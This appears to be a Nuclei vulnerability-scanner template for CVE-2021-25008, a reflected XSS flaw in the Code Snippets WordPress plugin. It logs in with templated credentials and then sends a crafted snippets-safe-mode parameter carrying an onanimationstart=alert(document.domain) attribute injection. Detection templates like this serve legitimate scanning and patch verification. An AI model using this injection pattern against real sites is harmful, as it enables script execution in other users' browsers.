id: CVE-2021-25008 info: name: The Code Snippets WordPress plugin < 2.14.3 - XSS author: cckuailong severity: medium description: The Code Snippets WordPress plugin before 2.14.3 does not escape the snippets-safe-mode parameter before outputting it back in attributes, leading to a Reflected Cross-Site Scripting issue. reference: - https://wpscan.com/vulnerability/cb232354-f74d-48bb-b437-7bdddd1df42a - https://nvd.nist.gov/vuln/detail/CVE-2021-25008 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-25008 cwe-id: CWE-79 tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated requests: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP%20Cookie%20check log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin.php?page=snippets&snippets-safe-mode%5B0%5D=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - "\" style=animation-name:rotation onanimationstart=alert(document.domain) x" - "Snippets" condition: and - type: status status: - 200